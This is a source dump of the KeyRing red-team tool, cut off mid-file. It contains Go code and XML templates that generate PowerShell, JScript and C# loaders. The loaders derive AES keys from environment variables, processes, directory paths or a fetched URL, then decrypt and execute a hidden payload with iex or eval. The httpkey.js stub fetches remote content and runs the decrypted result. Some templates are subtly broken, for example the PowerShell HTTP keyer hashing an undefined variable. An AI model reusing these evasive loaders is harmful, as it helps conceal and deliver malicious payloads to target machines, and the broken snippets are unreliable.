├── examples ├── ps-config.yml ├── js-config.yml └── cs-config.yml ├── data ├── csharp │ ├── keyers │ │ ├── static.xml │ │ ├── envkey.xml │ │ ├── custom.xml │ │ ├── custom_chain.xml │ │ ├── processes.xml │ │ ├── directory.xml │ │ ├── httpkey.xml │ │ └── dnskey.xml │ └── lang.xml ├── jscript │ ├── keyers │ │ ├── static.xml │ │ ├── envkey.xml │ │ ├── custom.xml │ │ ├── custom_chain.xml │ │ ├── httpkey.xml │ │ └── directory.xml │ └── lang.xml └── powershell │ ├── keyers │ ├── static.xml │ ├── envkey.xml │ ├── custom.xml │ ├── custom_chain.xml │ ├── directory.xml │ ├── httpkey.js │ └── httpkey.xml │ └── lang.xml ├── lib ├── helpers.go ├── httpkey.go ├── crypt.go └── codeutils.go ├── LICENSE ├── README.md └── keyring.go /examples/ps-config.yml: -------------------------------------------------------------------------------- 1 | language: powershell 2 | payloadFile: test.ps1 3 | keyers: 4 | - 5 | name: envkey 6 | inputs: 7 | - USERDOMAIN 8 | keydata: DEV 9 | - 10 | name: envkey 11 | inputs: 12 | - USERNAME 13 | keydata: Administrator 14 | retries: 0 15 | sleep: 10 16 | -------------------------------------------------------------------------------- /examples/js-config.yml: -------------------------------------------------------------------------------- 1 | language: jscript 2 | payloadFile: test.js 3 | outputFile: result.js 4 | keyers: 5 | - 6 | name: envkey 7 | inputs: 8 | - USERDOMAIN 9 | keydata: DEV 10 | - 11 | name: envkey 12 | inputs: 13 | - USERNAME 14 | keydata: Administrator 15 | retries: 0 16 | sleep: 0 17 | -------------------------------------------------------------------------------- /examples/cs-config.yml: -------------------------------------------------------------------------------- 1 | language: csharp 2 | payloadFile: Tester.dll 3 | outputFile: result.cs 4 | assemblyType: Tester.Environmental 5 | assemblyMethod: Dive 6 | keyers: 7 | - 8 | name: envkey 9 | inputs: 10 | - USERDOMAIN 11 | keydata: DEV 12 | - 13 | name: envkey 14 | inputs: 15 | - USERNAME 16 | keydata: Administrator 17 | retries: 0 18 | sleep: 0 19 | -------------------------------------------------------------------------------- /data/csharp/keyers/static.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Static Key 4 | Basic encryption where the key is stored within the final payload 5 | combo 6 | 0 7 | 8 | Number of inputs: 0 9 | 10 | 11 | 12 | combos.push("{{.Output}}"); 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /data/jscript/keyers/static.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Static Key 4 | Basic encryption where the key is stored within the final payload 5 | combo 6 | 0 7 | 8 | Number of inputs: 0 9 | 10 | 11 | 12 | combos.push("{{.Output}}"); 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /data/powershell/keyers/static.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Static Key 4 | Basic encryption where the key is stored within the final payload 5 | combo 6 | 0 7 | 8 | Number of inputs: 0 9 | 10 | 11 | 12 | combos.push("{{.Output}}"); 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /data/csharp/keyers/envkey.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Environmental Variable 4 | Encrypts based on environment variables 5 | combo 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: The environment variable name to request 10 | ex) USERDNSDOMAIN 11 | 12 | 13 | 14 | 15 | combos.Add(System.Environment.GetEnvironmentVariable("{{index .Inputs 0}}")); 16 | 17 | 18 | -------------------------------------------------------------------------------- /data/powershell/keyers/envkey.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Environmental Variable 4 | Encrypts based on environment variables 5 | combo 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: The environment variable name to request 10 | ex) USERDNSDOMAIN 11 | 12 | 13 | 14 | 15 | $combos += [Environment]::GetEnvironmentVariable("{{index .Inputs 0}}") 16 | 17 | 18 | -------------------------------------------------------------------------------- /data/jscript/keyers/envkey.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Environmental Variable 4 | Encrypts based on environment variables 5 | combo 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: The environment variable name to request 10 | ex) USERDNSDOMAIN 11 | 12 | 13 | var oEnv = new ActiveXObject('WScript.Shell').Environment("Process"); 14 | 15 | 16 | combos.push(oEnv("{{index .Inputs 0}}")); 17 | 18 | 19 | -------------------------------------------------------------------------------- /data/jscript/keyers/custom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Custom Keyer (combo) 4 | Inputs a blank function which must return a string which will be used to decrypt. The output should be set to the expected string returned from the function. 5 | combo 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: Name of your custom function 10 | 11 | 12 | function {{index .Inputs 0}}() { 13 | 14 | } 15 | 16 | 17 | combos.push({{index .Inputs 0}}()); 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /data/powershell/keyers/custom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Custom Keyer (combo) 4 | Inputs a blank function which must return a string which will be used to decrypt. The output should be set to the expected string returned from the function. 5 | combo 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: Name of your custom function 10 | 11 | 12 | function {{index .Inputs 0}} { 13 | param() 14 | 15 | } 16 | 17 | 18 | $combos += {{index .Inputs 0}} 19 | 20 | 21 | -------------------------------------------------------------------------------- /data/powershell/keyers/custom_chain.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Custom Keyer (chain) 4 | Inputs a blank function which must return an array of strings which one will be used to decrypt. The output should be set to the expected string within the array. 5 | chain 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: Name of your custom function 10 | 11 | 12 | function {{index .Inputs 0}} { 13 | param() 14 | 15 | } 16 | 17 | 18 | $chains += {{index .Inputs 0}} 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /data/jscript/keyers/custom_chain.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Custom Keyer (chain) 4 | Inputs a blank function which must return an array of strings which one will be used to decrypt. The output should be set to the expected string within the array. 5 | chain 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: Name of your custom function 10 | 11 | 12 | function {{index .Inputs 0}}() { 13 | 14 | } 15 | 16 | 17 | chains.push.apply(chains, {{index .Inputs 0}}()); 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /data/csharp/keyers/custom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Custom Keyer (combo) 4 | Inputs a blank function which must return a string which will be used to decrypt. The output should be set to the expected string returned from the function. 5 | combo 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: Name of your custom function 10 | 11 | 12 | static string {{index .Inputs 0}}(string url, string userAgent) 13 | { 14 | 15 | } 16 | 17 | 18 | combos.Add({{index .Inputs 0}}()); 19 | 20 | 21 | -------------------------------------------------------------------------------- /data/powershell/keyers/directory.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | File/Folder Paths 4 | Encrypts based on a folder or file path accessible to the host. Spiders all files 5 | and folder paths under a specified directory 6 | chain 7 | 2 8 | 9 | Number of inputs: 2 10 | Input 1: The directory to start spidering from 11 | ex) C:\Users 12 | 13 | 14 | 15 | 16 | $chains += Get-ChildItem "{{index .Inputs 0}}" -Recurse -Force -ErrorAction SilentlyContinue | %{$_.FullName} 17 | 18 | 19 | -------------------------------------------------------------------------------- /data/csharp/keyers/custom_chain.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Custom Keyer (chain) 4 | Inputs a blank function which must return an array of strings which one will be used to decrypt. The output should be set to the expected string within the array. 5 | chain 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: Name of your custom function 10 | 11 | 12 | static List<string> {{index .Inputs 0}}(ref List<string> items) 13 | { 14 | 15 | } 16 | 17 | 18 | {{index .Inputs 0}}(ref chains); 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /data/csharp/keyers/processes.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Processes 4 | Encrypts based on a running process name on the endpoint. 5 | chain 6 | 0 7 | 8 | Number of inputs: 0 9 | 10 | 11 | static void GetProcesses(ref List<string>items) 12 | { 13 | System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcesses(); 14 | 15 | foreach(System.Diagnostics.Process p in processes) 16 | { 17 | items.Add(p.ProcessName); 18 | } 19 | } 20 | 21 | 22 | GetProcesses(ref chains); 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /data/powershell/keyers/httpkey.js: -------------------------------------------------------------------------------- 1 | var hkPayloadHash = "~HKPAYLOADHASH~"; 2 | var hkPayload = "~HKPAYLOAD~"; 3 | for(var i = 0; i < ~RETRYNUM~; i++) { 4 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP"); 5 | xHttp.Open("GET", "~HKURL~", false); 6 | xHttp.setRequestHeader("User-Agent", "~HKUSERAGENT~"); 7 | xHttp.Send(); 8 | response = xHttp.responseText; 9 | var key = getSHA512(response); 10 | key = key.substring(0,32); 11 | try { 12 | var decrypted = decryptAES(hkPayload, key, "~HKIV~") 13 | if(compareHash(decrypted, hkPayloadHash, 0)) { 14 | eval(decrypted); 15 | WScript.Quit(1); 16 | } 17 | } 18 | catch(err) {} 19 | WScript.Sleep(30000); 20 | } 21 | -------------------------------------------------------------------------------- /data/jscript/keyers/httpkey.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | HTTP Key 4 | Makes request to a URL and hashes the HTML. 5 | combo 6 | 2 7 | 8 | Number of inputs: 2 9 | Input 1: The URL 10 | ex) https://somesite.com/index.html 11 | Input 2: User Agent (https://developers.whatismybrowser.com/useragents/explore/) 12 | ex) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 13 | 14 | 15 | function GetHttpKey(url, ua) { 16 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP"); 17 | xHttp.Open("GET", url, false); 18 | xHttp.setRequestHeader("User-Agent", ua); 19 | xHttp.Send(); 20 | response = xHttp.responseText; 21 | return getSHA512(response); 22 | } 23 | 24 | 25 | combos.push(GetHttpKey("{{index .Inputs 0}}", "{{index .Inputs 1}}")); 26 | 27 | 28 | -------------------------------------------------------------------------------- /lib/helpers.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "errors" 5 | "io/ioutil" 6 | "os" 7 | ) 8 | 9 | // ReadFile reads a file given the path and returns a byte slice 10 | func ReadFile(path string) ([]byte, error) { 11 | fileBytes, err := ioutil.ReadFile(path) 12 | if err != nil { 13 | return nil, errors.New("(ReadFile) Error reading file") 14 | } 15 | return fileBytes, nil 16 | } 17 | 18 | // WriteFile writes a file given the path and a byte slice 19 | func WriteFile(filename string, contents []byte) { 20 | f, err := os.Create(filename) 21 | if err != nil { 22 | panic(err) 23 | } 24 | 25 | defer f.Close() 26 | 27 | _, err = f.Write(contents) 28 | if err != nil { 29 | panic(err) 30 | } 31 | } 32 | 33 | // StrInSlice checks if a string exists in a slice. No convenient "in" with Go 34 | // https://stackoverflow.com/questions/15323767/does-go-have-if-x-in-construct-similar-to-python 35 | func StrInSlice(s string, l []string) bool { 36 | for _, val := range l { 37 | if val == s { 38 | return true 39 | } 40 | } 41 | return false 42 | } 43 | -------------------------------------------------------------------------------- /data/powershell/keyers/httpkey.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | HTTP Key 4 | Makes request to a URL and hashes the HTML. 5 | combo 6 | 2 7 | 8 | Number of inputs: 2 9 | Input 1: The URL 10 | ex) https://somesite.com/index.html 11 | Input 2: User Agent (https://developers.whatismybrowser.com/useragents/explore/) 12 | ex) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 13 | 14 | 15 | function Get-HttpKey { 16 | param($hurl, $hua) 17 | [System.Net.ServicePointManager]::Expect100Continue=0; 18 | $wc = New-Object Net.WebClient 19 | $wc.Headers.Add('User-Agent', $hua) 20 | $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy 21 | $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials 22 | $resp = $wc.DownloadString($hurl) 23 | 24 | return (Get-SHA512Hash $b)[0..31] -join "" 25 | } 26 | 27 | 28 | $combos += Get-HttpKey '{{index .Inputs 0}}' '{{index .Inputs 1}}' 29 | 30 | 31 | -------------------------------------------------------------------------------- /data/csharp/keyers/directory.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | File/Folder Paths 4 | Encrypts based on a folder or file path accessible to the host. Spiders all files 5 | and folder paths under a specified directory 6 | chain 7 | 2 8 | 9 | Number of inputs: 2 10 | Input 1: The directory to start spidering from 11 | ex) C:\Users 12 | Input 2: How far down the directory structure to go 13 | ex) 5 14 | 15 | 16 | static List<string> WalkDirs(string dir, ref List<string> items, int depth) 17 | { 18 | var x = System.IO.Directory.GetDirectories(dir); 19 | foreach (string d in System.IO.Directory.GetDirectories(dir)) 20 | { 21 | try 22 | { 23 | items.Add(d); 24 | foreach (string f in System.IO.Directory.GetFiles(d)) 25 | { 26 | items.Add(f); 27 | } 28 | if (depth > 0) 29 | { 30 | WalkDirs(d, ref items, depth - 1); 31 | } 32 | } 33 | catch { continue; } 34 | } 35 | return items; 36 | } 37 | 38 | 39 | WalkDirs("{{index .Inputs 0}}", ref chains, {{index .Inputs 1}}); 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /data/csharp/keyers/httpkey.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | HTTP Key 4 | Makes request to a URL and hashes the HTML. 5 | combo 6 | 2 7 | 8 | Number of inputs: 2 9 | Input 1: The URL 10 | ex) https://somesite.com/index.html 11 | Input 2: User Agent (https://developers.whatismybrowser.com/useragents/explore/) 12 | ex) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 13 | 14 | 15 | static string HttpKey(string url, string userAgent) 16 | { 17 | var request = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url); 18 | 19 | request.Method = "GET"; 20 | request.UserAgent = userAgent; 21 | request.ServicePoint.Expect100Continue = false; 22 | 23 | request.Proxy = System.Net.WebRequest.DefaultWebProxy; 24 | request.Proxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials; 25 | 26 | var response = (System.Net.HttpWebResponse)request.GetResponse(); 27 | string html = new System.IO.StreamReader(response.GetResponseStream()).ReadToEnd(); 28 | return SHA512(Encoding.UTF8.GetBytes(html), 0); 29 | } 30 | 31 | 32 | combos.Add(HttpKey("{{index .Inputs 0}}", "{{index .Inputs 1}}")); 33 | 34 | 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Leo Loobeek 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /data/jscript/keyers/directory.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | File/Folder Paths 4 | Encrypts based on a folder or file path accessible to the host. Spiders all files 5 | and folder paths under a specified directory 6 | chain 7 | 2 8 | 9 | Number of inputs: 2 10 | Input 1: The directory to start spidering from 11 | ex) C:\Users 12 | Input 2: How far down the directory structure to go 13 | ex) 5 14 | 15 | 16 | function WalkOS(allPaths,fso,folder,depth) { 17 | var folEnum = new Enumerator(folder.SubFolders); 18 | for (;!folEnum.atEnd(); folEnum.moveNext()) { 19 | allPaths.push(fso.GetAbsolutePathName(folEnum.item())); 20 | if(depth > 0) { 21 | WalkOS(allPaths,fso,folEnum.item(),(depth-1)); 22 | } 23 | } 24 | var files = folder.Files; 25 | var fc = new Enumerator(folder.Files); 26 | for (;!fc.atEnd(); fc.moveNext()) { 27 | allPaths.push(fso.GetAbsolutePathName(fc.item())); 28 | } 29 | } 30 | function GetAllPaths() { 31 | var allPaths = [] 32 | var startDir = "{{index .Inputs 0}}"; 33 | try { 34 | var objFSO = new ActiveXObject("Scripting.FileSystemObject"); 35 | var startDirObject = objFSO.GetFolder(startDir); 36 | WalkOS(allPaths,objFSO,startDirObject,{{index .Inputs 1}}); 37 | } 38 | catch(err) {} 39 | return allPaths; 40 | } 41 | 42 | 43 | chains.push.apply(chains, GetAllPaths()); 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /lib/httpkey.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "io/ioutil" 5 | "net" 6 | "net/http" 7 | ) 8 | 9 | // GenerateHttpKey reaches out to url, hashes the body and returns 10 | // the sha512 hash 11 | func GenerateHttpKey(url string) (string, error) { 12 | client := &http.Client{} 13 | 14 | req, err := http.NewRequest("GET", url, nil) 15 | if err != nil { 16 | return "", err 17 | } 18 | 19 | req.Header.Set("User-Agent", "GoGreen User Agent") 20 | 21 | resp, err := client.Do(req) 22 | if err != nil { 23 | return "", err 24 | } 25 | 26 | defer resp.Body.Close() 27 | result, err := ioutil.ReadAll(resp.Body) 28 | if err != nil { 29 | return "", err 30 | } 31 | 32 | httpKey, _ := GenerateHash(result, "sha512") 33 | return httpKey, nil 34 | } 35 | 36 | // GenerateDNSAKey requests DNS A record, hashes the response and 37 | // returns the DNS response and the sha512 hash 38 | // Note: Only works with the first response and ignores multiple responses 39 | func GenerateDNSAKey(hostname string) (string, string, error) { 40 | resp, err := net.LookupHost(hostname) 41 | if err != nil { 42 | return "", "", err 43 | } 44 | result := resp[0] 45 | 46 | hash, _ := GenerateHash([]byte(result), "sha512") 47 | return result, hash, nil 48 | } 49 | 50 | // GenerateDNSTXTKey requests DNS A record, hashes the response and 51 | // returns the DNS response and the sha512 hash 52 | // Note: Only works with the first response and ignores multiple responses 53 | func GenerateDNSTXTKey(hostname string) (string, string, error) { 54 | resp, err := net.LookupTXT(hostname) 55 | if err != nil { 56 | return "", "", err 57 | } 58 | result := resp[0] 59 | 60 | hash, _ := GenerateHash([]byte(result), "sha512") 61 | return result, hash, nil 62 | } 63 | -------------------------------------------------------------------------------- /lib/crypt.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "crypto/sha512" 9 | "encoding/base64" 10 | "encoding/hex" 11 | "fmt" 12 | "io" 13 | ) 14 | 15 | // GenerateHash takes a string and hashType. Based on hashType calls the 16 | // respected function or returns an error that the hashType isn't supported 17 | func GenerateHash(s []byte, hashType string) (string, error) { 18 | switch hashType { 19 | case "sha512": 20 | return GenerateSHA512(s), nil 21 | default: 22 | return "", fmt.Errorf("[!] GenerateHash: %s not supported", hashType) 23 | } 24 | } 25 | 26 | // GenerateSHA512 takes a string, generates a SHA512 hash 27 | // and sends back as hex string 28 | func GenerateSHA512(s []byte) string { 29 | sha := sha512.New() 30 | sha.Write(s) 31 | 32 | return hex.EncodeToString(sha.Sum(nil)) 33 | } 34 | 35 | // AESEncrypt https://golang.org/src/crypto/cipher/example_test.go 36 | // Returns base64 encoded ciphertext and base64 encoded IV 37 | // Not returning both (iv:ciphertext) as includes too much js/vbs to detach 38 | func AESEncrypt(key, text []byte) (string, string, error) { 39 | plaintext, err := pkcs7Pad(text) 40 | if err != nil { 41 | return "", "", err 42 | } 43 | 44 | if len(plaintext)%aes.BlockSize != 0 { 45 | return "", "", fmt.Errorf("[!] AESEncrypt: plaintext is not a multiple of the block size") 46 | } 47 | 48 | block, err := aes.NewCipher(key) 49 | if err != nil { 50 | return "", "", err 51 | } 52 | 53 | ciphertext := make([]byte, aes.BlockSize+len(plaintext)) 54 | iv := ciphertext[:aes.BlockSize] 55 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 56 | panic(err) 57 | } 58 | 59 | mode := cipher.NewCBCEncrypter(block, iv) 60 | mode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext) 61 | 62 | return Base64Encode(ciphertext[aes.BlockSize:]), Base64Encode(iv), nil 63 | } 64 | 65 | // https://github.com/go-web/tokenizer/blob/master/pkcs7.go 66 | func pkcs7Pad(b []byte) ([]byte, error) { 67 | if aes.BlockSize <= 0 { 68 | return nil, fmt.Errorf("[!] pkcs7Pad: invalid blocksize") 69 | } 70 | if b == nil || len(b) == 0 { 71 | return nil, fmt.Errorf("[!] pkcs7Pad: invalid PKCS7 data (empty or not padded)") 72 | } 73 | n := aes.BlockSize - (len(b) % aes.BlockSize) 74 | pb := make([]byte, len(b)+n) 75 | copy(pb, b) 76 | copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n)) 77 | return pb, nil 78 | } 79 | 80 | // Base64Encode basic wrapper around base64 encoding 81 | func Base64Encode(data []byte) string { 82 | sEnc := base64.StdEncoding.EncodeToString(data) 83 | return sEnc 84 | } 85 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # keyring 2 | 3 | KeyRing was written to make key derivation functions (keying) more approachable and easier to quickly develop during pentesting and red team operations. Keying is the idea of encrypting your original payload with local and remote resources, so it will only decrypt on the target system or under other situations. 4 | 5 | This tool was developed to easily provide encryption/decryption code and other techniques for keying. The tool will output raw C#, JScript, or PowerShell that you can then build into your stage0/launcher payloads (e.g. MSBuild.exe). It should be expected that the raw output from these tools can and will be easily signatured. I find value in tools that don't do too much and give you the basics to allow for you to be creative when crafting your payloads. 6 | 7 | ### Presentation and Background 8 | DerbyCon 8.0: Protect Your Payloads 9 | https://www.youtube.com/watch?v=MHc3XP3XC4I 10 | 11 | ### Compiled Binaries 12 | You can retrieve the latest release of keyring binaries in the Releases page. 13 | 14 | ### Build 15 | If you would prefer to build the source yourself, make sure Go 1.10+ is 16 | installed and execute the following: 17 | 18 | ``` 19 | go get -u github.com/leoloobeek/keyring 20 | ``` 21 | 22 | ### Usage 23 | Head on over to the wiki for more usage information. 24 | 25 | The [Walkthrough:Jscript](https://github.com/leoloobeek/keyring/wiki/Walkthrough:-JScript) page provides a full walkthrough, from beginning to end and is recommended to get started. 26 | 27 | ### Contributions 28 | I'm sure there will definitely be bugs, but also this tool was written to match my workflow. If there's something you would find useful feel free to submit an Issue or even a PR! 29 | 30 | ### HUGE Thanks 31 | [Josh Pitts](https://twitter.com/midnite_runr) and [Travis Morrow](https://twitter.com/wired33) came up with the first practical use case of environmental keying with their [Genetic Malware presentation](https://www.youtube.com/watch?v=WI8Y24jTTlw). They then released [Ebowla](https://github.com/Genetic-Malware/Ebowla), which is a fantastic project and does a lot more than this one, such as OTP. This project would never have been possible without Josh, Travis, and Ebowla. 32 | 33 | Also thanks to the following: 34 | - James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) as I took some code from https://github.com/tyranid/DotNetToJScript/ 35 | - Will Schroeder [@harmj0y](https://twitter.com/harmj0y) and whoever else wrote the Empire PowerShell agent code 36 | - Alex Rymdeko-harvey [@Killswitch_GUI](https://twitter.com/Killswitch_GUI) and Chris Truncer [@christruncer](https://twitter.com/christruncer) for [HttpKey](https://cybersyndicates.com/2015/06/veil-evasion-aes-encrypted-httpkey-request-module/) idea 37 | -------------------------------------------------------------------------------- /data/powershell/lang.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | powershell 4 | ps1 5 | 6 | function Invoke-EncryptedFunction 7 | { 8 | function Get-SHA512Hash { 9 | param($b) 10 | return [System.BitConverter]::ToString($script:sha512.ComputeHash([System.Text.Encoding]::ASCII.GetBytes($b))).ToLower() -replace "-","" 11 | } 12 | 13 | function Compare-SHA512Hashes { 14 | param($a, $b, $m) 15 | $end = $a.Length - $m - 1 16 | if((Get-SHA512Hash $($a[0..$end] -join "")) -eq $b) { 17 | return $true 18 | } 19 | else { return $false } 20 | } 21 | 22 | function Get-Combos { 23 | param($chars) 24 | $script:result = @() 25 | 26 | function combos 27 | { 28 | param($p,$c) 29 | if ($c.Length -eq 0) { break } 30 | For ($i=0; $i -le $c.Length; $i++) { 31 | $script:result += $p + $c[$i] 32 | combos "$p$($c[$i])" ($c[($i+1)..$c.Length]) 33 | } 34 | } 35 | combos '' $chars -PassThru 36 | return $script:result 37 | } 38 | 39 | function Get-AESDecrypted { 40 | param($b,$c,$i,$h,$m) 41 | $e=[System.Text.Encoding]::ASCII 42 | $bytes=[System.Convert]::FromBase64String($c) 43 | try { 44 | $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; 45 | } 46 | catch { 47 | $AES=New-Object System.Security.Cryptography.RijndaelManaged; 48 | } 49 | $AES.Mode = "CBC" 50 | $AES.Key = $e.GetBytes((Get-SHA512Hash $b)[0..31] -join "") 51 | $AES.IV = [System.Convert]::FromBase64String($i) 52 | try { 53 | $decrypted = $AES.CreateDecryptor().TransformFinalBlock($bytes, 0, $bytes.Length) 54 | } 55 | catch { return } 56 | $result = $e.GetString($decrypted) 57 | if($(Compare-SHA512Hashes $result $h $m)) { 58 | iex($result) 59 | break 60 | } 61 | } 62 | 63 | {{.Functions}} 64 | 65 | function Test-Inputs { 66 | param($a,$b) 67 | $a | ForEach-Object { 68 | $key = "$_$b" 69 | Get-AESDecrypted $key.ToLower() "{{.EncryptedBase64}}" "{{.AESIVBase64}}" "{{.PayloadHash}}" {{.MinusBytes}} 70 | } 71 | } 72 | $script:sha512 = New-Object System.Security.Cryptography.SHA512CryptoServiceProvider 73 | 74 | $idx = 0 75 | Do { 76 | $chains = @("") 77 | $combos = @("") 78 | 79 | {{.Callers}} 80 | 81 | $combos = Get-Combos $combos 82 | $chains | ForEach-Object { 83 | Test-Inputs $combos $_ 84 | } 85 | {{if .Sleep}} 86 | $idx++ 87 | Start-Sleep {{.Sleep}} 88 | {{end}} 89 | } While ($idx -lt {{.Retries}}) 90 | } 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /data/jscript/lang.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | jscript 4 | js 5 | 6 | var shell = new ActiveXObject('WScript.Shell'); 7 | ver = 'v4.0.30319'; 8 | try { 9 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\'); 10 | } catch(e) { 11 | ver = 'v2.0.50727'; 12 | } 13 | shell.Environment('Process')('COMPLUS_Version') = ver; 14 | function decryptAES(decryptMe, key, iv) { 15 | var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged"); 16 | var a = new ActiveXObject("System.Text.ASCIIEncoding"); 17 | aes.Mode = 1; //CBC 18 | aes.Padding = 2; //PKCS7 19 | aes.BlockSize = 128; 20 | aes.KeySize = 256; 21 | aes.IV = decodeBase64(iv); 22 | aes.Key = a.GetBytes_4(key); 23 | 24 | var encBytes = decodeBase64(decryptMe); 25 | var encLen = (a.GetByteCount_2(decryptMe) / 4) * 3; 26 | encLen = encLen - (decryptMe.split("=").length - 1) 27 | 28 | var decrypted = aes.CreateDecryptor().TransformFinalBlock(encBytes,0,encLen); 29 | return a.GetString(decrypted); 30 | } 31 | function decodeBase64(base64) { 32 | var dm = new ActiveXObject("Microsoft.XMLDOM"); 33 | var el = dm.createElement("tmp"); 34 | el.dataType = "bin.base64"; 35 | el.text = base64 36 | return el.nodeTypedValue 37 | } 38 | function binToHex(binary) { 39 | var dom = new ActiveXObject("Microsoft.XMLDOM"); 40 | var el = dom.createElement("tmp"); 41 | el.dataType = "bin.hex"; 42 | el.nodeTypedValue = binary; 43 | el.removeAttribute("dt:dt"); 44 | return el.nodeTypedValue 45 | } 46 | function getSHA512(bytes) { 47 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed"); 48 | var text = new ActiveXObject("System.Text.ASCIIEncoding"); 49 | var result = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes)))); 50 | return result 51 | } 52 | function compareHash(decrypted, hash, minusBytes) { 53 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed"); 54 | var text = new ActiveXObject("System.Text.ASCIIEncoding"); 55 | var newHash = getSHA512(decrypted.substring(0, (decrypted.length - minusBytes))); 56 | if(newHash == hash) { 57 | return true; 58 | } 59 | else { 60 | return false; 61 | } 62 | } 63 | function getCombinations(chars) { 64 | var result = []; 65 | var f = function(prefix, chars) { 66 | for (var i = 0; i < chars.length; i++) { 67 | result.push(prefix + chars[i]); 68 | f(prefix + chars[i], chars.slice(i + 1)); 69 | } 70 | } 71 | f('', chars); 72 | return result; 73 | } 74 | 75 | function tryKeyCombos(combos, path, encrypted, payloadHash, aesIVBase64, minusBytes) { 76 | for(k = 0; k < 